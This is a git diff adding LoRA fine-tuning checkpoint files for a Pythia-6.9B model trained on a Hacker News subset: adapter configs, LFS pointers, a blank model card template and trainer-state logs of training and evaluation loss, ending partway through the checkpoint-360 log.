+[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..d4a9f88937ab99924aff8ae796db82a34cab11a1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6d4888fd511f30bda9b356d4c4fabc97fd58e53634fd1eced3fb9489ae6978e8 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..bbc883a7787dc54c8f786245ac31e01e9299eec1 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cc8b990c8c5d4cf56664ec753191370167fc0ba4389c7414e8e170eae1e0c41b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..fc3bb37d365dcd8ae3528d8e7242f7d2eae755b3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:39cd0c0a4049d541d90e7c6154cb21167a341830884ad3558195617942678446 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3fc1a8fc07398191149b701be855b2b30b04d498 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8b8cfefd46d2412b7b17da7d799f9e9021312d0b294976f3e87f7063aa01557b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..4a09b902dffd4e145d79329d02da264bf682ab0a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/trainer_state.json @@ -0,0 +1,558 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.666666666666667, + "eval_steps": 10, + "global_step": 350, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 5.7351251951616e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-350/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..19456e6405b78c089e032f0f7359a2197e3a2cfe --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:7bc3c84a1a3a8302a96f8612fefa9d4c92ecb0b1542bf69efda10f56333ccec4 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..69497234cf82397b3b17233146177f1ae2563f07 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d10196fe3a31ac5e53d86f4551f8fad6b4b6217cfd8475f54ffe84e08ea84929 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..dff7e422d3f8fc71ea77fa33b28878ffbe8abd43 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9d73d43b628bfbe3f56e29099c04e9e9584349f935d8148aa8c34849bf03ef49 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..fc7191e0d24d86be98ffef99b67fe56b52160821 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6cb47a43082c3958508d73a1bd58f111764a18725005ed6a37a8d99585cef386 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..f28a1c0eab8ad29f774fc9c6dd3181e4ba2b9f77 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-360/trainer_state.json @@ -0,0 +1,573 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 4.8, + "eval_steps": 10, + "global_step": 360, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 